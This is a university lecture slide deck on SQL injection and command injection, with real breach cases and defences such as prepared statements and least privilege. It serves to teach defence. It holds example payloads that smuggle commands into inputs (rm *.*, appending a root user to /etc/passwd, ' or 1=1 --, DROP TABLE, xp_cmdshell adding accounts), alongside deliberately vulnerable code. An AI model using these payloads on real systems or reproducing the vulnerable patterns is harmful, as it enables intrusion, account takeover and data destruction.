Tyler Moore Some slides developed by John Mitchell for Stanford CS155 CS 4113/CS 6103 Spring 2018 SQL Injection Tyler Moore Some slides developed by John Mitchell for Stanford CS155
Three vulnerabilities we will discuss XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site CSRF – Cross-site request forgery Bad web site sends browser request to good web site, using credentials of an innocent victim SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query Inject malicious script into trusted context Leverage user’s session at victim sever Uses SQL to change meaning of database command
OWASP Top Ten (2013) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems …expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information https://www.owasp.org/index.php/Top_10_2013-Top_10
http://www.nytimes.com/2010/11/14/magazine/14Hacker-t.html
SQL Injection Hacking Albert Gonzalez and crew hacked into: TJ Maxx Heartland Payment Systems Hannaford Brothers 7-Eleven Dave & Buster’s DSW Office Max Sports Authority Forever 21image Barnes & Noble Boston Market BJ’s Wholesale Club
Background for SQL Injection Command Injection Background for SQL Injection
General code injection attacks Attack goal: execute arbitrary code on the server Example code injection based on eval (PHP) http://site.com/calc.php (server side calculator) Attack http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ” … $in = $_GET[‘exp']; eval('$ans = ' . $in . ';'); Whitelisting: allow only digits, +, -, *, / in $in Blacklisting (bad): disallow “;” in $in --- but attacker can do “ 10 + system(…) ” (URL encoded)
Code injection using system() Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
SQL Injection
Let’s see how the attack described in this cartoon works…
Database queries with PHP (the wrong way) Sample PHP Problem What if ‘recipient’ is malicious string that changes the meaning of the query? $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql);
Basic picture: SQL Injection Victim Server post malicious form 1 2 unintended SQL query 3 receive valuable data Attacker Victim SQL DB
CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed
http://www. cvedetails http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Example: buggy login page (ASP,VB) set ok = execute( "SELECT * FROM Users WHERE user=' " & form(“user”) & " ' AND pwd=' " & form(“pwd”) & “ '” ); if not ok.EOF login success else fail; Is this exploitable? This snipet is in VB.
Normal Query DB Web Browser (Client) Web Server SELECT * FROM Users Enter Username & Password Web Server DB SELECT * FROM Users WHERE user='me' AND pwd='1234' Normal Query
Bad input Suppose user = “ ' or 1=1 -- ” (URL encoded) Then scripts does: ok = execute( SELECT … WHERE user= ' ' or 1=1 -- … ) The “--” causes rest of line to be ignored. Now ok.EOF is always false and login succeeds. The bad news: easy login to many sites this way.
Even worse Suppose user = “ ′ ; DROP TABLE Users -- ” Then script does: ok = execute( SELECT … WHERE user= ′ ′ ; DROP TABLE Users … ) Deletes user table Similarly: attacker can add users, reset pwds, etc.
Even worse … Suppose user = ′ ; exec cmdshell ′net user badguy badpwd′ / ADD -- Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) If SQL server context runs as “sa”, attacker gets account on DB server
Microsoft SQL Server Equivalent Suppose user = ′ ; exec xp_cmdshell ′dir c:\’; --’ Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) Good news: Since SQL Server 2005, xp_cmdshell disabled by default Bad news: attacker can turn it back on ok = execute( SELECT … WHERE username= ′ ′; exec sp_configure ’xp_cmdshell’, 1; --’)
XSS/SQL Injection Blended Attack
XSS/SQL Injection Blended Attack Asprox botnet has infected millions of websites in this manner, and has operated for 10 years
Dangers of detailed errors Some SQL injection attacks require knowledge of database table names and schemas How can attackers gain this information? Step 1: try inserting a ‘ or other command to trigger an error Step 2: use the detailed error to identify table names and intended query syntax
Commands reveal schemas ANSI standard command to reveal DB metadata Use UNION SELECT command to get data from multiple tables On Oracle, do this: Get tables: SELECT TABLE_NAME FROM USER_TABLES Get column names/types: DESCRIBE Salesperson What to do? Remove detailed error messages Prevent SQL injection in the first place
Removing detailed error messages Suppose you want a page to prompt for a customer number, then go to page of past orders if available or homepage otherwise First attempt:
Removing detailed error messages This is better: However, it’s still vulnerable to blind SQL injection
Blind SQL injection Even if the schemas cannot be obtained, an attacker can frequently still infer the table names Step 1: Try for an error, no response if error handling Step 2: Try for legit statement to verify vulnerability Step 3: Try to get different behavior for 0-result query Step 4: Craft yes/no queries to test table names
Preventing SQL Injection Never build SQL commands yourself ! Whitelisting expected inputs over blacklisting bad inputs Use parameterized/prepared SQL statements Set DB access control permissions to limit damage
False start: blacklisting This code blocks single quotes: What could possibly go wrong? Blacklisting is bad because it has false positives (John O’Malley) and false negatives (other ways to get through besides single quotes, different encodings ‘ becomes %27 for instance)
Better: casting If your input expects a number, then why represent it as a string?
Best: Parameterized/prepared SQL Builds SQL queries by properly escaping args: ′ \′ Instead of: Do this: Note: syntax varies, see Parameterized SQL: (ASP.NET 1.1) SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader(); Escapes with \. ‘ -> \’ . DB independent --- different DB’s have different rules for escaping. This snipet is in C#
What if you can’t use prepared statements? Parameterized queries aren’t always available Solution: rewrite your code so that users cannot specify database objects such as table or field names
Defending SQL Injection: Summary Ensure only generic errors are displayed to web users Validate simple input types like CC#s, ZIP codes Verify that input matches expected known pattern rather than block bad patterns If input is numeric, don’t make it a string Best defense: use prepared statements
Database access control For defense in depth, you should also try to limit the potential damage of injected queries Where possible, explicitly deny permissions that aren’t needed If it doesn’t need to write to the filesystem, deny If it doesn’t need to modify tables, deny Most web apps use one dedicated, privileged user account to access database Rarely does this user need unlimited permissions So you should think about what is actually needed at design time and only permit that
Updating database permissions In some contexts, can use GUI admin tool But there are also SQL commands Suppose web_app_user should not be able to update the Orders table: Or prohibit ability to create new tables: Command to remove creds: REVOKE Command to add creds: GRANT
Separate accounts for separate roles